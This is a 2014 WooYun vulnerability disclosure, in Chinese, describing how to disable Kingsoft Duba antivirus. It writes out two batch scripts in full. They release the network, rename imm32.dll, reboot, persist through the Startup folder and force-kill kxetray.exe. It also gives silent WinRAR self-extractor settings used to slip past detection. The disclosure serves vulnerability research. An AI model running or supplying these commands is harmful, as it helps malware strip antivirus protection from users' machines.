当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083325

漏洞标题:轻松干掉金山毒霸主防进阶篇

相关厂商:金山毒霸

漏洞作者: zhuixing

提交时间:2014-11-26 17:35

修复时间:2015-01-02 17:36

公开时间:2015-01-02 17:36

漏洞类型:拒绝服务

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-26: 细节已通知厂商并且等待厂商处理中
2014-12-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-01-25: 细节向核心白帽子及相关领域专家公开
2015-02-04: 细节向普通白帽子公开
2015-02-14: 细节向实习白帽子公开
2015-01-02: 细节向公众公开

简要描述:

不需要额外和复杂的程序代码,只用系统自身的功能就使金山毒霸主进程无法启动。

详细说明:

参测软件:金山毒霸最新官方下载安装包
测试环境:VMware Workstation 10.0.3,Windows XP SP3 Pro,DHCP自动获取IP上网。
测试方法:金山毒霸以默认方式安装,开启和升级所有防护+引擎,重启系统然后运行漏洞测试代码。
安装包数字签名图

js01.PNG


防护状态图

js02.PNG


js03.PNG


漏洞测试视频下载地址http://pan.baidu.com/s/1gdH1jI7,提取码:7pys,解压密码:jspoc123,为了达到最佳观看效果,请解压所有文件到同一目录下,打开jspoc.html文件。
测试代码详细说明:
一、测试主要使用了两个批处理文件,1.bat和2.bat,下面是具体代码:
省略注释;
1.bat:
ipconfig /release #注释:用来释放ip,断开网络,使金山毒霸云防御失效# &shutdown -r -t 00&ren c:\windows\system32\imm32.dll imm32.dl #注释:修改imm32.dll文件名并重启系统# &copy 2.bat c:\"开始"菜单"启动"文件夹路径\2.bat #注释:让2.bat开机自启动#
2.bat:
taskkill /im kxetray.exe /f /t&ren c:\windows\system32\imm32.dl imm32.dll #注释:结束kxetray.exe进程并恢复imm32.dll名称#
二、直接运行1.bat会被金山毒霸拦截,于是用winrar把两个bat文件打包成一个exe可执行自解压文件后成功执行,自解压注释内容是:
;下面的注释包含自解压脚本命令
Path=.\poc
SavePath
Setup=1.bat
TempMode
Silent=1
Overwrite=1
测试总结:
1、简单的ipconfig /release就可以让金山云防护失效。
2、修改系统关键文件本来会触发Windows系统文件保护的提示,这里却被shutdown命令给绕过去了,并且结束了其他很多进程,可以被利用做很多事情。
3、毒霸对注册表添加开机启动项进行了防护却忽略了“开始”菜单里的“启动”文件夹。
4、漏洞测试干掉了毒霸的自我保护,配合自启动执行的结束进程命令,成功干掉了毒霸的整个防御系统。

漏洞证明:

漏洞测试视频下载地址http://pan.baidu.com/s/1gdH1jI7,提取码:7pys,解压密码:jspoc123,为了达到最佳观看效果,请解压所有文件到同一目录下,打开jspoc.html文件。
1.bat:
ipconfig /release #注释:用来释放ip,断开网络,使金山毒霸云防御失效# &shutdown -r -t 00&ren c:\windows\system32\imm32.dll imm32.dl #注释:修改imm32.dll文件名并重启系统# &copy 2.bat c:\"开始"菜单"启动"文件夹路径\2.bat #注释:让2.bat开机自启动#
2.bat:
taskkill /im kxetray.exe /f /t&ren c:\windows\system32\imm32.dl imm32.dll #注释:结束kxetray.exe进程并恢复imm32.dll名称#
用winrar把两个bat文件打包成一个exe可执行自解压文件后执行,自解压注释内容是:
;下面的注释包含自解压脚本命令
Path=.\poc
SavePath
Setup=1.bat
TempMode
Silent=1
Overwrite=1

修复方案:

事情并不需要老是想得太复杂

版权声明:转载请注明来源 zhuixing@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-02 17:36

厂商回复:

最新状态:

暂无